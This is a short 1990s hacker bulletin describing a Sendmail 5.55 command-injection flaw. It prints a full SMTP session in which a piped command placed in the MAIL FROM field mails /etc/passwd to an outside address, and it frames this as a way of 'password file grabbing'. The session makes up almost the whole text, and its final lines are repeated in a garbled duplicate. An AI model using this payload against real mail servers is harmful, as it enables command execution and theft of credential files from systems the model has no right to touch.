..:-={{Collaborative Security Information Center}}=-:.. X-TREME & TECHNOTRONIC Security Collaboration Project http://www.technotronic.com -=©=- http://www.x-treme.abyss.com Sendmail: 5.55 Some versions allow us to execute commands; often leading to interesting effects like password file grabbing: % telnet target.com 25 Trying 123.456.789.0... Connected to target.com Escape character is '^]'. 220 target.com Sendmail 5.55 ready at Mon, 12 Dec 93 23:51 mail from: "|/bin/mail me@myhost.com < /etc/passwd" 250 "|/bin/mail me@myhost.com < /etc/passwd"... Sender ok rcpt to: mickeymouse 550 mickeymouse... User unknown data 354 Enter mail, end with "." on a line by itself . 250 Mail accepted quit Connection closed by foreign host. % "." on a line by itself . 250 Mail accepted quit Connection closed by foreign host. %